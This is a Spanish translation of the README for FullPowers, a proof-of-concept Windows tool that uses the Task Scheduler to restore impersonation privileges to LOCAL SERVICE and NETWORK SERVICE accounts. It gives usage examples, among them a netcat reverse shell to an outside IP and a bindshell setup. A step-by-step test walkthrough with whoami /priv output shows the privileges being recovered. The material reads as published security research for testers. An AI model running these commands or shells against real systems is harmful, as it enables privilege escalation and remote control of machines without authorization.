FullPowers es una herramienta de prueba de concepto que creé para recuperar automáticamente el conjunto de privilegios predeterminado de una cuenta de servicio, incluidos SeAssignPrimaryToken y SeImpersonate .
En Windows, algunos servicios ejecutados como LOCAL SERVICE
o NETWORK SERVICE
están configurados para ejecutarse con un conjunto restringido de privilegios . Por lo tanto, incluso si el servicio se ve comprometido, no obtendrá los privilegios de suplantación de oro y la escalada de privilegios al LOCAL SYSTEM
debería ser más complicada. Sin embargo, descubrí que, cuando creas una tarea programada , el nuevo proceso creado por el Servicio del Programador de tareas tiene todos los privilegios predeterminados de la cuenta de usuario asociada (excepto SeImpersonate ). Por lo tanto, con algunas manipulaciones de tokens, puede generar un nuevo proceso con todos los privilegios faltantes.
Uso
LOCAL SERVICE
o NETWORK SERVICE
únicamente.
Puede consultar el mensaje de ayuda usando la opción -h
.
c:TOOLS>FullPowers -h FullPowers v0.1 (by @itm4n) This tool leverages the Task Scheduler to recover the default privilege set of a service account. For more information: https://itm4n.github.io/localservice-privileges/ Optional arguments: -v Verbose mode, used for debugging essentially -cCustom command line to execute (default is 'C:WindowsSystem32cmd.exe') -x Try to get the extended set of privileges (might fail with NETWORK SERVICE) -z Non-interactive, create a new process and exit (default is 'interact with the new process')
c:TOOLS>FullPowers [+] Successfully created scheduled task. PID=9976 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>
c:TOOLS>FullPowers -c "powershell -ep Bypass" [+] Successfully created scheduled task. PID=9028 [+] CreateProcessAsUser() OK Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Try the new cross-platform PowerShell https://aka.ms/pscore6 PS C:WINDOWSsystem32> Get-ExecutionPolicy Bypass
c:TOOLS>FullPowers -c "C:TOOLSnc64.exe 1.2.3.4 1337 -e cmd" -z [+] Successfully created scheduled task. PID=5482 [+] CreateProcessAsUser() OK
¿Quieres probar este PoC tú mismo? ¡Genial! A continuación se ofrecen algunas instrucciones sencillas para empezar.
La idea general es iniciar un bindshell a partir del proceso de un servicio existente, conectarse a él y luego ejecutar el ejecutable.
Necesitará 2 herramientas de terceros, netcat y RunFromProcess.
Elija un servicio que tenga privilegios limitados, por ejemplo: upnphost
.
Abra el Administrador de tareas , vaya a la pestaña Servicios y obtenga el PID del proceso correspondiente.
Utilice el siguiente comando para iniciar bindshell como administrador :
C:TOOLS>RunFromProcess-x64.exeC:TOOLSnc64.exe -l -p 9001 -e cmd
Utilice el siguiente comando para conectarse al bindshell:
C:TOOLS>nc64.exe 127.0.0.1 9001 Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ======================= ======================== ======= SeChangeNotifyPrivilege Bypass traverse checking Enabled SeCreateGlobalPrivilege Create global objects Enabled
Podemos ver que el proceso actual no tiene privilegios de suplantación. Ahora ejecuta el PoC...
c:TOOLS>FullPowers [+] Started dummy thread with id 5568 [+] Successfully created scheduled task. [+] Got new token! Privilege count: 7 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======= SeAssignPrimaryTokenPrivilege Replace a process level token Enabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeAuditPrivilege Generate security audits Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
¡Ahora deberías tener un shell con privilegios de suplantación !